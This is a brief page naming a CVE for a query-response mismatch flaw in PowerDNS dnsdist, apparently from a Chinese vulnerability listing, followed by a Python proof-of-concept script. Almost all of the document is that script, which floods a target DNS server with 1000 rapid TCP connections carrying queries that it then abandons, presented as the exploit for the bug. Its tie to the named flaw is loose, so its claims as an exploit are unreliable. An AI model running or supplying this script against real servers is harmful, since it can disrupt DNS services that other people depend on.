CVE-2026-33596 PowerDNS dnsdist 查询响应不匹配漏洞

import socket import time from struct import pack # Target DNS server (Replace with actual target) TARGET_IP = "192.168.1.10" TARGET_PORT = 53 def create_dns_query(query_id): # Construct a standard DNS query header # ID: 2 bytes, Flags: 0x0100 (Recursion Desired), QDCOUNT: 1 header = pack(">HHHHHH", query_id, 0x0100, 1, 0, 0, 0) # Question: www.example.com question = b"\x03www\x07example\x03com\x00\x00\x01\x00\x01" return header + question def send_flood(): print(f"Starting flood against {TARGET_IP}...") for i in range(1000): try: # Use TCP for this specific exploit scenario sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) sock.connect((TARGET_IP, TARGET_PORT)) # Send query length prefix (required for TCP DNS) query = create_dns_query(i) payload = pack(">H", len(query)) + query sock.send(payload) # Close immediately without waiting for response to simulate timing issues sock.close() except Exception as e: print(f"Packet {i} failed: {e}") # Attempt precise timing to trigger the mismatch time.sleep(0.001) if __name__ == "__main__": send_flood()